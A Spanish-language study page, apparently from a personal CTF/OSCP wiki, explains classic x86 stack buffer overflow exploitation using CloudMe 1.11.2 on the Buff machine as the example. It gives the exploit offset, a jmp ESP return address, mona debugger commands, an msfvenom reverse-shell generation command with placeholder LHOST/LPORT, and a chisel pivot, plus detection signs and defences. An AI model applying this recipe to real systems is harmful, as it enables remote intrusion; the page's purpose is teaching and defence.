the_open_door
café
ESEN
← Volver al índice

Stack buffer overflow (stack BOF)

Un desbordamiento de búfer de pila ocurre cuando un programa copia más datos de los que caben en un búfer reservado en la pila, sin comprobar la longitud. El exceso sobrescribe lo que hay a continuación, incluida la dirección de retorno guardada en la pila (el registro EIP en x86). Si el atacante controla esos bytes, controla a dónde salta la CPU cuando la función termina: de ahí a ejecutar código propio.

El esquema clásico (x86, sin protecciones). Es el patrón de OSCP, y el de CloudMe en Buff:

  1. Fuzzing / crash. Enviar una cadena larga al servicio hasta que casca: indicio de que se sobrescribe el EIP.
  2. Offset al EIP. Mandar un patrón cíclico (pattern_create.rb) y, con el valor que aparezca en el EIP, calcular cuántos bytes hay hasta él (pattern_offset.rb). En CloudMe 1.11.2 el offset es 1052.
  3. Bad chars. Algunos bytes corrompen el payload (clásicamente \x00, a veces \x0a, \x0d). Se identifican comparando un byte array en memoria con mona y se excluyen al generar el shellcode.
  4. jmp ESP. Tras el desbordamiento, ESP apunta al shellcode que dejamos en la pila. Se busca una instrucción jmp ESP (opcode \xff\xe4) en un módulo sin protecciones (ASLR/Rebase) para que su dirección sea fija; esa dirección se pone en el EIP. Al retornar, la CPU salta a ESP y ejecuta el shellcode. En Buff, el jmp ESP está en qsqlite.dll (0x6d619117 → little endian \x17\x91\x61\x6d).
  5. Shellcode. Se genera con msfvenom (excluyendo los bad chars) y se antepone un colchón de NOPs (\x90) para dar margen al decodificador.

La carga final tiene la forma relleno("A"*offset) + dirección_jmp_esp + NOPs + shellcode.

Comandos clave

# offset al EIP con patron ciclico
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1500
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1500 -q 39694438
# shellcode excluyendo los bad chars encontrados
msfvenom -p windows/shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -b '\x00\x0a\x0d' -f python -v shellcode

En Immunity Debugger con el plugin mona:

!mona config -set workingfolder c:\mona\%p
!mona bytearray -b "\x00"                        # generar el array de bad chars
!mona compare -f c:\mona\bytearray.bin -a <esp>  # comparar en memoria para hallarlos
!mona jmp -r esp -cpb "\x00\x0a\x0d"             # buscar un jmp esp en modulo sin ASLR

Protecciones modernas (y por qué aquí no estorban). DEP/NX (pila no ejecutable), ASLR (bases aleatorias), stack canaries y CFG rompen esta receta. El truco del jmp ESP evita ASLR eligiendo un módulo que no lo tenga; en certificaciones como OSCP el escenario está pensado para no requerir saltarse DEP/ASLR. En software real moderno haría falta encadenar fugas de información y ROP.

El detalle de Buff: el pivot. El servicio vulnerable (CloudMe) escuchaba solo en 127.0.0.1:8888. Para enviarle el exploit desde fuera hubo que montar un túnel con chisel que reenviara el puerto local al loopback de la víctima. Encontrar el fallo es media batalla; alcanzarlo es la otra mitad.

Cómo detectarlo. El fuzzing previo deja rastro: caídas repetidas del servicio (en Windows, Event ID 1000 Application Error / informes WER; en Linux, SIGSEGV en dmesg) al recibir cadenas largas. La explotación con éxito se ve como el proceso del servicio lanzando cmd/sh o una conexión saliente (el shellcode) sin motivo (4688/Sysmon 1 con ppid del servicio). A nivel de red, un envío anormalmente largo al puerto del servicio (p. ej. 8888) es el disparo. DEP/ASLR/canaries habrían abortado el proceso en vez de ejecutar, así que un crash limpio seguido de shell es la firma.

Defensa. Compilar con DEP/ASLR/stack canaries, validar longitudes de entrada, usar funciones seguras de copia y mantener el software actualizado. Y no exponer servicios vulnerables, ni siquiera en loopback.

Máquinas donde se aplica